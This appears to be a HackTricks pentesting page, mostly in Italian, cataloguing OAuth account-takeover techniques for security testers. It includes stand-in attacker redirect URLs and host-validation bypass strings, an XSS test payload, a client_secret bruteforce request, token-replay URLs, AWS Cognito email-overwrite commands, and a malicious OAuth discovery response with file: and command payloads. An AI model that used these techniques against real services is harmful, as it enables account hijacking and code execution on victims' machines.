OAuth to Account takeover

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Informazioni di base

OAuth offre varie versioni, con approfondimenti di base disponibili su OAuth 2.0 documentation. Questa trattazione si concentra principalmente sul diffuso OAuth 2.0 authorization code grant type, fornendo un framework di autorizzazione che permette a un’applicazione di accedere o compiere azioni sull’account di un utente in un’altra applicazione (il authorization server).

Considera un sito ipotetico https://example.com, progettato per mostrare tutti i tuoi post sui social media, inclusi quelli privati. Per farlo viene usato OAuth 2.0. https://example.com chiederĂ  il tuo permesso per accedere ai tuoi post sui social media. Di conseguenza, sul sito https://socialmedia.com apparirĂ  una schermata di consenso che descrive le autorizzazioni richieste e lo sviluppatore che le richiede. Dopo la tua autorizzazione, https://example.com ottiene la possibilitĂ  di accedere ai tuoi post per tuo conto.

È essenziale comprendere i seguenti componenti all’interno del framework OAuth 2.0:

  • resource owner: Tu, come utente/entitĂ , che autorizzi l’accesso alla tua risorsa, ad esempio i post del tuo account social.
  • resource server: Il server che gestisce le richieste autenticate dopo che l’applicazione ha ottenuto un access_token per conto del resource owner, es. https://socialmedia.com.
  • client application: L’applicazione che richiede l’autorizzazione dal resource owner, come https://example.com.
  • authorization server: Il server che emette i access_tokens al client application dopo la corretta autenticazione del resource owner e l’ottenimento dell’autorizzazione, es. https://socialmedia.com.
  • client_id: Un identificatore pubblico e univoco per l’applicazione.
  • client_secret: Una chiave riservata, nota solo all’applicazione e all’authorization server, usata per generare access_tokens.
  • response_type: Un valore che specifica il tipo di token richiesto, come code.
  • scope: Il livello di accesso che il client application sta richiedendo al resource owner.
  • redirect_uri: L’URL su cui l’utente viene reindirizzato dopo l’autorizzazione. Tipicamente deve corrispondere all’URL di redirect preregistrato.
  • state: Un parametro per mantenere dati durante il reindirizzamento dell’utente verso e dall’authorization server. La sua unicitĂ  è critica per fungere da meccanismo di protezione CSRF.
  • grant_type: Un parametro che indica il tipo di grant e il tipo di token da restituire.
  • code: Il codice di autorizzazione dell’authorization server, usato insieme a client_id e client_secret dall’applicazione client per ottenere un access_token.
  • access_token: Il token che l’applicazione client usa per le richieste API per conto del resource owner.
  • refresh_token: Permette all’applicazione di ottenere un nuovo access_token senza richiedere nuovamente l’interazione dell’utente.

Flusso

Il flusso OAuth reale procede come segue:

  1. Visiti https://example.com e selezioni il pulsante “Integrate with Social Media”.
  2. Il sito invia quindi una richiesta a https://socialmedia.com chiedendo la tua autorizzazione per permettere all’applicazione di https://example.com di accedere ai tuoi post. La richiesta è strutturata come:
https://socialmedia.com/auth
?response_type=code
&client_id=example_clientId
&redirect_uri=https%3A%2F%2Fexample.com%2Fcallback
&scope=readPosts
&state=randomString123
  1. Ti viene quindi presentata una pagina di consenso.
  2. Dopo la tua approvazione, Social Media invia una risposta al redirect_uri con i parametri code e state:
https://example.com?code=uniqueCode123&state=randomString123
  1. https://example.com utilizza questo code, insieme ai suoi client_id e client_secret, per effettuare una richiesta lato server per ottenere un access_token per tuo conto, consentendo l’accesso alle autorizzazioni a cui hai acconsentito:
POST /oauth/access_token
Host: socialmedia.com
...{"client_id": "example_clientId", "client_secret": "example_clientSecret", "code": "uniqueCode123", "grant_type": "authorization_code"}
  1. Infine, il processo si conclude quando https://example.com utilizza il tuo access_token per effettuare una chiamata API a Social Media per accedere

VulnerabilitĂ 

redirect_uri aperto

Secondo RFC 6749 §3.1.2, il server di autorizzazione deve reindirizzare il browser solo a redirect URI pre-registrati ed esatti. Qualsiasi debolezza qui permette a un attaccante di indirizzare una vittima tramite un URL di autorizzazione malevolo in modo che l’IdP consegni il code (e lo state) della vittima direttamente a un endpoint controllato dall’attaccante, che può poi riscattarlo e raccogliere i token.

Flusso d’attacco tipico:

  1. Craft https://idp.example/auth?...&redirect_uri=https://attacker.tld/callback e inviarlo alla vittima.
  2. La vittima si autentica e approva gli scope.
  3. L’IdP reindirizza a attacker.tld/callback?code=<victim-code>&state=... dove l’attaccante registra la richiesta e scambia immediatamente il code.

Bug di validazione comuni da testare:

  • Nessuna validazione – qualsiasi URL assoluto viene accettato, risultando in furto immediato del code.
  • Controlli deboli su substring/regex sull’host – bypass con lookalike come evilmatch.com, match.com.evil.com, match.com.mx, matchAmatch.com, evil.com#match.com, o match.com@evil.com.
  • Mismatch di omografi IDN – la validazione avviene sulla forma punycode (xn--), ma il browser reindirizza al dominio Unicode controllato dall’attaccante.
  • Percorsi arbitrari su un host consentito – puntare redirect_uri a /openredirect?next=https://attacker.tld o a qualsiasi endpoint XSS/contenuto utente leaks il code sia tramite redirect concatenati, Referer headers, o JavaScript iniettato.
  • Vincoli di directory senza normalizzazione – pattern come /oauth/* possono essere bypassati con /oauth/../anything.
  • Wildcard su sottodomini – accettare *.example.com significa che qualsiasi takeover (dangling DNS, S3 bucket, ecc.) fornisce immediatamente un callback valido.
  • Callback non-HTTPS – permettere URI http:// dĂ  agli attacker in rete (Wi‑Fi, proxy aziendale) l’opportunitĂ  di catturare il code in transito.

Rivedi anche i parametri ausiliari in stile redirect (client_uri, policy_uri, tos_uri, initiate_login_uri, ecc.) e il documento di discovery OpenID (/.well-known/openid-configuration) per endpoint aggiuntivi che potrebbero ereditare gli stessi bug di validazione.

Redirect token leakage on allowlisted domains with attacker-controlled subpaths

Vincolare redirect_uri a “owned/first-party domains” non aiuta se qualsiasi dominio allowlisted espone percorsi o contesti di esecuzione controllati dall’attaccante (piattaforme app legacy, namespace utente, upload CMS, ecc.). Se il flusso OAuth/federated login restituisce token nell’URL (query o hash), un attaccante può:

  1. Avviare un flow legittimo per mintare un pre-token (es. un etoken in un flusso multi-step Accounts Center/FXAuth).
  2. Inviare alla vittima un URL di autorizzazione che imposta il dominio allowlisted come redirect_uri/base_uri ma punta next/path in uno namespace controllato dall’attaccante (es. https://apps.facebook.com/<attacker_app>).
  3. Dopo che la vittima approva, l’IdP reindirizza al path controllato dall’attaccante con valori sensibili nell’URL (token, blob, codes, ecc.).
  4. JavaScript su quella pagina legge window.location ed esfiltra i valori nonostante il dominio sia “trusted.”
  5. Replay dei valori catturati contro endpoint privilegiati downstream che si aspettano solo i token trasportati dal redirect. Esempi dal flusso FXAuth:
# Account linking without further prompts
https://accountscenter.facebook.com/add/?auth_flow=frl_linking&blob=<BLOB>&token=<TOKEN>

# Reauth-gated actions (e.g., profile updates) without user confirmation
https://accountscenter.facebook.com/profiles/<VICTIM_ID>/name/?auth_flow=reauth&blob=<BLOB>&token=<TOKEN>

XSS nell’implementazione del redirect

Come menzionato in questo bug bounty report https://blog.dixitaditya.com/2021/11/19/account-takeover-chain.html potrebbe essere possibile che il redirect URL venga riflesso nella risposta del server dopo che l’utente si autentica, risultando vulnerabile a XSS. Payload possibile da testare:

https://app.victim.com/login?redirectUrl=https://app.victim.com/dashboard</script><h1>test</h1>

CSRF - Gestione impropria del parametro state

Il state parameter è il token CSRF dell’Authorization Code flow: il client deve generare un valore criptograficamente casuale per ogni istanza del browser, conservarlo in un posto leggibile solo da quel browser (cookie, local storage, ecc.), inviarlo nella authorization request e rifiutare qualsiasi response che non ritorni lo stesso valore. Quando il valore è statico, prevedibile, opzionale o non legato alla sessione dell’utente, l’attaccante può completare il proprio OAuth flow, catturare la richiesta finale ?code= (senza inviarla) e successivamente costringere il browser della vittima a riprodurre quella richiesta in modo che l’account della vittima venga collegato al profilo dell’identity provider dell’attaccante.

Lo schema di replay è sempre lo stesso:

  1. L’attaccante si autentica contro l’IdP con il proprio account e intercetta l’ultimo redirect contenente code (e qualsiasi state).
  2. Scarta quella richiesta, conserva l’URL, e più tardi abusa di qualsiasi primitiva CSRF (link, iframe, form che si auto-invia) per forzare il browser della vittima a caricarla.
  3. Se il client non verifica il state, l’app consuma il risultato di autorizzazione dell’attaccante e autentica l’attaccante sull’account dell’app della vittima.

Una check-list pratica per la gestione del state durante i test:

  • Assenza totale del state – se il parametro non appare mai, tutto il login è vulnerabile a CSRF.
  • state non richiesto – rimuovilo dalla richiesta iniziale; se l’IdP emette comunque code che il client accetta, la difesa è opt-in.
  • state ritornato non validato – manometti il valore nella response (Burp, MITM proxy). Accettare valori non corrispondenti significa che il token memorizzato non viene mai confrontato.
  • state prevedibile o puramente basato su dati – molte app inseriscono redirect path o JSON blob nel state senza mescolare entropia, permettendo agli attaccanti di indovinare valori validi e riprodurre i flow. Prependere/appendere sempre forte entropia prima di codificare i dati.
  • Fixation del state – se l’app permette agli utenti di fornire il valore di state (es. tramite URL di authorization costruite ad arte) e lo riusa durante tutto il flow, un attaccante può fissare un valore noto e riusarlo su piĂš vittime.

PKCE può completare il state (soprattutto per public clients) vincolando l’authorization code a un code verifier, ma i web clients devono comunque tracciare il state per prevenire bug di CSRF/collegamento account cross-user.

Pre Account Takeover

  1. Without Email Verification on Account Creation: gli attaccanti possono creare preventivamente un account usando l’email della vittima. Se la vittima in seguito utilizza un servizio di terze parti per il login, l’applicazione potrebbe collegare involontariamente quell’account di terze parti all’account pre-creato dall’attaccante, portando ad accessi non autorizzati.
  2. Exploiting Lax OAuth Email Verification: gli attaccanti possono sfruttare servizi OAuth che non verificano le email registrandosi con il loro servizio e poi modificando l’email dell’account con quella della vittima. Questo metodo comporta rischi analoghi di accesso non autorizzato, simile al primo scenario ma tramite un vettore d’attacco diverso.

Disclosure of Secrets

Il client_id è intenzionalmente pubblico, ma il client_secret non deve mai essere recuperabile dagli utenti finali. Deployment dell’Authorization Code che incorporano il secret in mobile APKs, desktop clients, or single-page apps consegnano effettivamente quella credenziale a chiunque possa scaricare il pacchetto. Ispeziona sempre i public clients:

  • Disimballando l’APK/IPA, il desktop installer o l’Electron app e cercando client_secret, blob Base64 che decodificano in JSON, o endpoint OAuth hard-coded.
  • Revisionando file di configurazione inclusi (plist, JSON, XML) o stringhe decompilate alla ricerca di credenziali client.

Una volta che l’attaccante estrae il secret, gli basta rubare qualsiasi code di autorizzazione della vittima (via un redirect_uri debole, logs, ecc.) per chiamare /token in modo indipendente e ottenere access/refresh token senza coinvolgere l’app legittima. Tratta i public/native clients come incapaci di mantenere segreti — dovrebbero invece fare affidamento su PKCE (RFC 7636) per provare il possesso di un code verifier per istanza anziché un secret statico. Durante i test, verifica se PKCE è obbligatorio e se il backend rifiuta effettivamente gli scambi di token che omettono o il client_secret o un valido code_verifier.

Client Secret Bruteforce

You can try to bruteforce the client_secret of a service provider with the identity provider in order to be try to steal accounts.
The request to BF may look similar to:

POST /token HTTP/1.1
content-type: application/x-www-form-urlencoded
host: 10.10.10.10:3000
content-length: 135
Connection: close

code=77515&redirect_uri=http%3A%2F%2F10.10.10.10%3A3000%2Fcallback&grant_type=authorization_code&client_id=public_client_id&client_secret=[bruteforce]

Referer/Header/Location artifacts leaking Code + State

Once the client has the code and state, if they surface in location.href or document.referrer and are forwarded to third parties, they leak. Two recurring patterns:

  • Classic Referer leak: dopo il redirect OAuth, qualsiasi navigazione che mantiene ?code=&state= nell’URL li includerĂ  nell’header Referer inviato a CDNs/analytics/ads.
  • Telemetry/analytics confused deputy: alcune SDK (pixels/JS loggers) reagiscono a eventi postMessage e poi inviare l’attuale location.href/referrer alle API di backend usando un token fornito nel messaggio`. Se riesci a iniettare il tuo token in quel flusso (es. tramite un postMessage relay controllato dall’attaccante), puoi poi leggere la cronologia/richieste delle API dell’SDK e recuperare gli OAuth artifacts della vittima incorporati in quelle richieste.

Access Token Stored in Browser History

La garanzia principale dell’Authorization Code grant è che access tokens never reach the resource owner’s browser. Quando le implementazioni leak token lato client, qualsiasi piccolo bug (XSS, Referer leak, proxy logging) diventa compromissione immediata dell’account. Controlla sempre:

  • Tokens in URLs – se access_token appare nella query/fragment, finisce nella cronologia del browser, nei log dei server, nelle analytics e negli header Referer inviati a terze parti.
  • Tokens transiting untrusted middleboxes – restituire token su HTTP o attraverso proxy di debug/corporate permette agli osservatori di rete di catturarli direttamente.
  • Tokens stored in JavaScript state – store di React/Vue, variabili globali o blob JSON serializzati espongono token a ogni script sull’origine (inclusi payload XSS o estensioni malevole).
  • Tokens persisted in Web Storage – localStorage/sessionStorage trattengono i token molto dopo il logout su dispositivi condivisi e sono accessibili via script.

Qualunque di queste evidenze normalmente eleva bug altrimenti “bassi” (come un CSP bypass o DOM XSS) a full API takeover perché l’attaccante può semplicemente leggere e riprodurre il bearer token leakato.

Everlasting Authorization Code

I codici di autorizzazione devono essere short-lived, single-use, and replay-aware. Quando valuti un flow, cattura un code e:

  • Test the lifetime – RFC 6749 raccomanda minuti, non ore. Prova a riscattare il code dopo 5–10 minuti; se funziona ancora, la finestra di esposizione per qualsiasi code leakato è eccessiva.
  • Test sequential reuse – invia lo stesso code due volte. Se la seconda richiesta restituisce un altro token, gli attaccanti possono clonare sessioni indefinitamente.
  • Test concurrent redemption/race conditions – spara due richieste token in parallelo (Burp intruder, turbo intruder). Issuer deboli a volte concedono entrambi.
  • Observe replay handling – un tentativo di reuse non dovrebbe solo fallire ma anche revocare eventuali token giĂ  emessi da quel code. Altrimenti, un replay rilevato lascia attivo il primo token dell’attaccante.

Combinare un code riutilizzabile con qualunque redirect_uri o bug di logging permette accesso persistente agli account anche dopo che la vittima completa il login legittimo.

Authorization/Refresh Token not bound to client

Se puoi ottenere l’authorization code e riscattarlo per un client/app diversa, puoi takeover altri account. Verifica un binding debole:

  • Catturare un code per app A e inviarlo all’endpoint token di app B; se ricevi comunque un token, il binding dell’audience è rotto.
  • Provare endpoint di minting token first-party che dovrebbero essere limitati ai loro stessi client ID; se accettano state/app_id arbitrari mentre validano solo il code, effettivamente esegui uno authorization-code swap per mintare token first-party con privilegi piĂš alti.
  • Controllare se il client binding ignora mismatch di nonce/redirect URI. Se una pagina di errore carica comunque SDK che loggano location.href, combina con Referer/telemetry leaks per rubare code e riscattarli altrove.

Qualsiasi endpoint che scambia code → token deve verificare il client emittente, il redirect URI e il nonce; altrimenti, un code rubato da qualsiasi app può essere upgradato a un access token first-party.

Happy Paths, XSS, Iframes & Post Messages to leak code & state values

Check this post

AWS Cognito

In questo bug bounty report: https://security.lauritz-holtmann.de/advisories/flickr-account-takeover/ puoi vedere che il token che AWS Cognito restituisce all’utente potrebbe avere sufficienti permessi per sovrascrivere i dati utente. Pertanto, se puoi cambiare l’email di un utente con un’altra email, potresti essere in grado di take over gli account di altri.

# Read info of the user
aws cognito-idp get-user --region us-east-1 --access-token eyJraWQiOiJPVj[...]

# Change email address
aws cognito-idp update-user-attributes --region us-east-1 --access-token eyJraWQ[...] --user-attributes Name=email,Value=imaginary@flickr.com
{
"CodeDeliveryDetailsList": [
{
"Destination": "i***@f***.com",
"DeliveryMedium": "EMAIL",
"AttributeName": "email"
}
]
}

Per informazioni piĂš dettagliate su come abusare AWS Cognito controlla AWS Cognito - Unauthenticated Enum Access.

Abuso dei token di altre App

Come menzionato in questo writeup, i flussi OAuth che si aspettano di ricevere il token (e non un code) potrebbero essere vulnerabili se non verificano che il token appartenga all’app.

Questo perché un attacker potrebbe creare un’application supporting OAuth and login with Facebook (per esempio) nella propria application. Poi, una volta che un victim effettua il login con Facebook nell’attackers application, l’attacker potrebbe ottenere il token OAuth dell’utente fornito alla sua application, e usarlo per effettuare il login nell’OAuth application della vittima usando il token dell’utente vittima.

Caution

Pertanto, se l’attacker riesce a far accedere l’user alla propria OAuth application, sarà in grado di takeover l’account della victim in applicazioni che si aspettano un token e non verificano se il token è stato concesso al loro app ID.

Secondo questo writeup, era possibile far aprire a una victim una pagina con un returnUrl che punta all’host dell’attacker. Questa info verrebbe memorizzata in un cookie (RU) e in un passaggio successivo il prompt chiederà all’user se vuole dare accesso a quell’attackers host.

Per bypassare questo prompt, era possibile aprire una tab per iniziare il Oauth flow che avrebbe impostato questo cookie RU usando il returnUrl, chiudere la tab prima che il prompt venisse mostrato, e aprire una nuova tab senza quel valore. In questo modo, il prompt non informerà sull’attackers host, ma il cookie sarà impostato su di esso, quindi il token verrà inviato all’attackers host nella redirect.

Prompt Interaction Bypass

Come spiegato in questo video, alcune implementazioni OAuth permettono di indicare il parametro GET prompt come None (&prompt=none) per evitare che agli utenti venga chiesto di confermare l’accesso nella prompt sul web se sono già loggati nella piattaforma.

response_mode

Come spiegato in questo video, potrebbe essere possibile indicare il parametro response_mode per specificare dove vuoi che il code venga fornito nell’URL finale:

  • response_mode=query -> The code is provided inside a GET parameter: ?code=2397rf3gu93f
  • response_mode=fragment -> The code is provided inside the URL fragment parameter #code=2397rf3gu93f
  • response_mode=form_post -> The code is provided inside a POST form with an input called code and the value
  • response_mode=web_message -> The code is send in a post message: window.opener.postMessage({"code": "asdasdasd...

I dialog di consent/login OAuth sono obiettivi ideali per clickjacking: se possono essere incorniciati, un attacker può sovrapporre grafiche personalizzate, nascondere i pulsanti reali e indurre gli utenti ad approvare scope pericolosi o collegare account. Costruisci PoC che:

  1. Carichino l’IdP authorization URL dentro un <iframe sandbox="allow-forms allow-scripts allow-same-origin">.
  2. Usino posizionamento assoluto/trucchi di opacitĂ  per allineare pulsanti falsi con i controlli Allow/Approve nascosti.
  3. Facoltativamente pre-compilino parametri (scopes, redirect URI) in modo che l’approvazione rubata benefici immediatamente l’attacker.

Durante il testing verifica che le pagine IdP emettano X-Frame-Options: DENY/SAMEORIGIN o una Content-Security-Policy: frame-ancestors 'none' restrittiva. Se nessuna è presente, dimostra il rischio con tool come NCC Group’s clickjacking PoC generator e registra quanto facilmente una victim autorizza l’app dell’attacker. Per idee di payload aggiuntive vedi Clickjacking.

OAuth ROPC flow - 2 FA bypass

Secondo questo blog post, questo è un OAuth flow che permette di autenticarsi via username e password. Se durante questo semplice flow viene restituito un token con accesso a tutte le azioni che l’user può eseguire, allora è possibile bypassare la 2FA usando quel token.

ATO on web page redirecting based on open redirect to referrer

Questo blogpost descrive come sia stato possibile abusare di un open redirect usando il valore del referrer per sfruttare OAuth per ottenere ATO. L’attacco era:

  1. Victim accede alla pagina web dell’attacker
  2. La victim apre il link maligno e un opener avvia il Google OAuth flow con response_type=id_token,code&prompt=none come parametri aggiuntivi usando come referrer il sito dell’attacker.
  3. Nell’opener, dopo che il provider autorizza la victim, questa viene reindirizzata al valore del parametro redirect_uri (sito della victim) con un codice 30X che mantiene comunque il sito dell’attacker nel referer.
  4. Il sito della victim attiva l’open redirect basandosi sul referrer reindirizzando la victim all’attackers website; poiché il respose_type era id_token,code, il code sarà inviato all’attacker nel fragment dell’URL permettendogli di takeover l’account dell’user via Google sul sito della victim.

SSRFs parameters

Check this research Per maggiori dettagli su questa tecnica.

Dynamic Client Registration in OAuth funge da vettore meno ovvio ma critico per vulnerabilitĂ  di sicurezza, specificamente per attacchi di Server-Side Request Forgery (SSRF). Questo endpoint permette agli OAuth server di ricevere dettagli sulle client applications, inclusi URL sensibili che potrebbero essere sfruttati.

Punti chiave:

  • Dynamic Client Registration è spesso mappato su /register e accetta dettagli come client_name, client_secret, redirect_uris, e URL per logos o JSON Web Key Sets (JWKs) tramite richieste POST.
  • Questa feature aderisce alle specifiche in RFC7591 e OpenID Connect Registration 1.0, che includono parametri potenzialmente vulnerabili a SSRF.
  • Il processo di registrazione può inavvertitamente esporre i server a SSRF in diversi modi:
    • logo_uri: Un URL per il logo della client application che potrebbe essere fetchato dal server, innescando SSRF o portando a XSS se l’URL è gestito male.
    • jwks_uri: Un URL al documento JWK del client, che se creato in modo maligno può indurre il server a fare richieste outbound verso un server controllato dall’attacker.
    • sector_identifier_uri: Riferisce a un array JSON di redirect_uris, che il server potrebbe fetchare, creando un’opportunitĂ  SSRF.
    • request_uris: Elenca request URIs consentite per il client, che può essere sfruttato se il server recupera questi URI all’inizio del processo di autorizzazione.

Strategia di sfruttamento:

  • SSRF può essere innescato registrando un nuovo client con URL maligni in parametri come logo_uri, jwks_uri, o sector_identifier_uri.
  • Mentre lo sfruttamento diretto tramite request_uris può essere mitigato da controlli di whitelist, fornire un request_uri pre-registrato e controllato dall’attacker può facilitare SSRF durante la fase di autorizzazione.

OAuth/OIDC Discovery URL Abuse & OS Command Execution

La ricerca su CVE-2025-6514 (che impatta client mcp-remote come Claude Desktop, Cursor o Windsurf) mostra come la dynamic OAuth discovery diventi una primitiva RCE ogni volta che il client inoltra i metadata dell’IdP direttamente al sistema operativo. Il server MCP remoto restituisce un authorization_endpoint controllato dall’attacker durante lo scambio di discovery (/.well-known/openid-configuration o qualsiasi metadata RPC). mcp-remote ≤0.1.15 poi chiamava il system URL handler (start, open, xdg-open, ecc.) con qualunque stringa ricevuta, quindi qualsiasi scheme/path supportato dal SO veniva eseguito localmente.

Workflow dell’attacco

  1. Puntare il desktop agent a un server MCP/OAuth ostile (npx mcp-remote https://evil). L’agent riceve un 401 più metadata.
  2. Il server risponde con JSON del tipo:
HTTP/1.1 200 OK
Content-Type: application/json

{
"authorization_endpoint": "file:/c:/windows/system32/calc.exe",
"token_endpoint": "https://evil/idp/token",
...
}
  1. Il client avvia l’OS handler per l’URI fornito. Windows accetta payloads come file:/c:/windows/system32/calc.exe /c"powershell -enc ..."; macOS/Linux accettano file:///Applications/Calculator.app/... o anche schemi personalizzati come cmd://bash -lc '<payload>' se registrati.
  2. Poiché questo avviene prima di qualsiasi interazione dell’utente, la sola configurazione del client per comunicare con il server dell’attaccante comporta l’esecuzione di codice.

How to test

  • Mirare qualsiasi desktop/agent compatibile con OAuth che esegua discovery su HTTP(S) e apra localmente gli endpoint restituiti (Electron apps, CLI helpers, thick clients).
  • Intercetta o ospita la discovery response e sostituisci authorization_endpoint, device_authorization_endpoint, o campi simili con file://, cmd://, percorsi UNC, o altri schemi pericolosi.
  • Osserva se il client valida lo scheme/host. La mancanza di validazione porta a esecuzione immediata nel contesto dell’utente e dimostra il problema.
  • Ripeti con schemi diversi per mappare l’intera attack surface (e.g., ms-excel:, data:text/html,, custom protocol handlers) e dimostrare la portata cross-platform.

OAuth providers Race Conditions

Se la piattaforma che stai testando è un OAuth provider read this to test for possible Race Conditions.

Mutable Claims Attack

In OAuth, il campo sub identifica in modo univoco un utente, ma il suo formato varia a seconda dell’Authorization Server. Per standardizzare l’identificazione, alcuni client usano email o handle utente. Tuttavia, questo è rischioso perché:

  • Alcuni Authorization Server non garantiscono che queste proprietĂ  (come l’email) rimangano immutabili.
  • In alcune implementazioni—come “Login with Microsoft”—il client si affida al campo email, che è user-controlled by the user in Entra ID e non verificato.
  • Un attaccante può sfruttare questo creando la propria organizzazione Azure AD (e.g., doyensectestorg) e usandola per effettuare un Microsoft login.
  • Anche se l’Object ID (memorizzato in sub) è immutabile e sicuro, l’affidamento a un campo email mutabile può consentire un account takeover (per esempio, il dirottamento di un account come victim@gmail.com).

Client Confusion Attack

In a Client Confusion Attack, un’applicazione che usa l’OAuth Implicit Flow non verifica che il final access token sia stato generato specificamente per il proprio Client ID. Un attaccante mette su un sito web pubblico che usa Google’s OAuth Implicit Flow, inducendo migliaia di utenti a effettuare il login e raccogliendo così access tokens destinati al sito dell’attaccante. Se questi utenti hanno anche account su un altro sito vulnerabile che non valida il Client ID del token, l’attaccante può riutilizzare i token raccolti per impersonare le vittime ed eseguire un account takeover.

Scope Upgrade Attack

Il tipo Authorization Code Grant comporta comunicazione server-to-server sicura per la trasmissione dei dati utente. Tuttavia, se l’Authorization Server si fida implicitamente di un parametro scope nella Access Token Request (un parametro non definito nell’RFC), un’applicazione malevola potrebbe elevare i privilegi di un authorization code richiedendo uno scope maggiore. Dopo che l’Access Token è stato generato, il Resource Server deve verificarlo: per token JWT ciò comporta il controllo della JWT signature ed estrazione di dati come client_id e scope, mentre per token random string il server deve interrogare l’Authorization Server per recuperare i dettagli del token.

Redirect Scheme Hijacking

Nelle implementazioni mobile di OAuth, le app usano custom URI schemes per ricevere i redirect con Authorization Codes. Tuttavia, poiché più app possono registrare lo stesso scheme su un dispositivo, l’assunzione che solo il client legittimo controlli il redirect URI viene violata. Su Android, per esempio, un Intent URI come com.example.app:// oauth viene intercettato in base allo scheme e ai filtri opzionali definiti in un’app’s intent-filter. Poiché la risoluzione degli intent di Android può essere ampia—specialmente se viene specificato solo lo scheme—un attaccante può registrare un’app malevola con un intent filter studiato per hijackare l’authorization code. Questo può enable an account takeover sia tramite interazione dell’utente (quando più app sono idonee a gestire l’intent) sia tramite tecniche di bypass che sfruttano filtri eccessivamente specifici, come dettagliato dal flowchart di Ostorlab.

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks